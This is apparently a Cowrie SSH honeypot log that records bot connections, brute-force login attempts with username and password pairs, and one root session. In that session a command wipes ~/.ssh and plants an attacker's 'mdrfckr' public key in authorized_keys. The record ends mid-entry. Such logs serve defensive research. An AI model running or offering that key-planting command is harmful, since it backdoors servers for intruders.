{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:16.888437Z","src_ip":"172.172.196.177","session":"3c34e69960c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ais","password":"Ais123!","message":"login attempt [ais/Ais123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:16.968600Z","src_ip":"172.172.196.177","session":"3c34e69960c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:17.984555Z","src_ip":"172.172.196.177","session":"3c34e69960c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":51198,"dst_ip":"159.203.135.109","dst_port":22,"session":"d15c06dd1cca","protocol":"ssh","message":"New connection: 150.95.157.171:51198 (159.203.135.109:22) [session: d15c06dd1cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:23.473294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:23.478480Z","src_ip":"150.95.157.171","session":"d15c06dd1cca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:23.636963Z","src_ip":"150.95.157.171","session":"d15c06dd1cca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"colin","password":"1234","message":"login attempt [colin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:24.318997Z","src_ip":"150.95.157.171","session":"d15c06dd1cca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:25.483886Z","src_ip":"150.95.157.171","session":"d15c06dd1cca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.214.117.218","src_port":47454,"dst_ip":"159.203.135.109","dst_port":22,"session":"b80be432beb3","protocol":"ssh","message":"New connection: 1.214.117.218:47454 (159.203.135.109:22) [session: b80be432beb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:32.134603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:32.139195Z","src_ip":"1.214.117.218","session":"b80be432beb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:32.343991Z","src_ip":"1.214.117.218","session":"b80be432beb3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1q2w3e!Q@W#E","message":"login attempt [root/1q2w3e!Q@W#E] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:33.191322Z","src_ip":"1.214.117.218","session":"b80be432beb3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:33.642396Z","src_ip":"1.214.117.218","session":"b80be432beb3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:33.645568Z","src_ip":"1.214.117.218","session":"b80be432beb3","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:33.649374Z","src_ip":"1.214.117.218","session":"b80be432beb3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:33.856691Z","src_ip":"1.214.117.218","session":"b80be432beb3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:34.305617Z","src_ip":"1.214.117.218","session":"b80be432beb3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:34.309288Z","src_ip":"1.214.117.218","session":"b80be432beb3","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:34.519150Z","src_ip":"1.214.117.218","session":"b80be432beb3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:34.523071Z","src_ip":"1.214.117.218","session":"b80be432beb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.214.117.218","src_port":39232,"dst_ip":"159.203.135.109","dst_port":22,"session":"79f13d2a52e5","protocol":"ssh","message":"New connection: 1.214.117.218:39232 (159.203.135.109:22) [session: 79f13d2a52e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:40.716723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:40.721315Z","src_ip":"1.214.117.218","session":"79f13d2a52e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:40.920959Z","src_ip":"1.214.117.218","session":"79f13d2a52e5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:41.751672Z","src_ip":"1.214.117.218","session":"79f13d2a52e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:41.953843Z","src_ip":"1.214.117.218","session":"79f13d2a52e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:41.957808Z","src_ip":"1.214.117.218","session":"b80be432beb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.173.117.246","src_port":36580,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f9eb85d2149","protocol":"ssh","message":"New connection: 172.173.117.246:36580 (159.203.135.109:22) [session: 0f9eb85d2149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:47:12.763885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:47:12.768625Z","src_ip":"172.173.117.246","session":"0f9eb85d2149","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:47:12.808467Z","src_ip":"172.173.117.246","session":"0f9eb85d2149","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bai","password":"1234","message":"login attempt [bai/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:47:13.009511Z","src_ip":"172.173.117.246","session":"0f9eb85d2149","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:47:14.054567Z","src_ip":"172.173.117.246","session":"0f9eb85d2149","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.121.147.48","src_port":59158,"dst_ip":"159.203.135.109","dst_port":22,"session":"230bb398059e","protocol":"ssh","message":"New connection: 45.121.147.48:59158 (159.203.135.109:22) [session: 230bb398059e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:47:51.128260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:47:51.132106Z","src_ip":"45.121.147.48","session":"230bb398059e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:47:51.356550Z","src_ip":"45.121.147.48","session":"230bb398059e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hyun","password":"12345","message":"login attempt [hyun/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:47:52.289334Z","src_ip":"45.121.147.48","session":"230bb398059e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:47:53.516414Z","src_ip":"45.121.147.48","session":"230bb398059e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.172.196.177","src_port":39802,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b068c08ae34","protocol":"ssh","message":"New connection: 172.172.196.177:39802 (159.203.135.109:22) [session: 9b068c08ae34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:48:15.600280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:48:15.604745Z","src_ip":"172.172.196.177","session":"9b068c08ae34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:48:15.615414Z","src_ip":"172.172.196.177","session":"9b068c08ae34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bai","password":"1234","message":"login attempt [bai/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:48:15.689906Z","src_ip":"172.172.196.177","session":"9b068c08ae34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:48:16.702996Z","src_ip":"172.172.196.177","session":"9b068c08ae34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":58906,"dst_ip":"159.203.135.109","dst_port":22,"session":"1843477d3ffe","protocol":"ssh","message":"New connection: 150.95.157.171:58906 (159.203.135.109:22) [session: 1843477d3ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:48:20.275944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:48:20.280410Z","src_ip":"150.95.157.171","session":"1843477d3ffe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS